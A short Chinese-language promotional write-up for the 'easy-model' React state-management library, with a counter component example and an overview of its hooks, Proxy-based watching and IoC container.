easy-model 摒弃复杂配置,安装即用。严格 TypeScript 模式确保类型安全,无需担心运行时错误。API 设计简洁,仅需几个钩子即可上手。

React 集成无缝:

import { useModel, useWatcher } from "easy-model";

function CounterComponent() {
  const counter = useModel(CounterModel, [0, "计数器"]);

  useWatcher(counter, (keys, prev, next) => {
    console.log(`字段 ${keys.join(".")}${prev} 变为 ${next}`);
  });

  return (
    <div>
      <h2>{counter.label}</h2>
      <div>{counter.count}</div>
      <button onClick={() => counter.decrement()}>-</button>
      <button onClick={() => counter.increment()}>+</button>
    </div>
  );
}

异步操作使用 @loader.load 装饰器,useLoader 钩子查询状态,简化加载处理。@offWatch 优化性能,避免不必要的监听。跨组件共享通过 provideuseInstance 实现。

性能与扩展性

easy-model 使用 Proxy 实现深层变更监听,支持嵌套对象和引用关系变化。watch 函数允许非 React 环境监听,useWatcher 处理组件副作用。IoC 容器支持 namespace 隔离,便于大型应用管理。

相比 Redux/MobX,easy-model 减少 boilerplate,提升开发效率。Benchmark 示例显示其在性能上具备竞争力。

总结

easy-model 以模型为中心,完美支持领域驱动开发。其类封装设计提升可测试性,简洁 API 保证易用性。无论是小型项目还是复杂应用,都能显著提升开发效率。

立即试用 easy-model,体验更优雅的前端开发!项目地址:GitHub

❌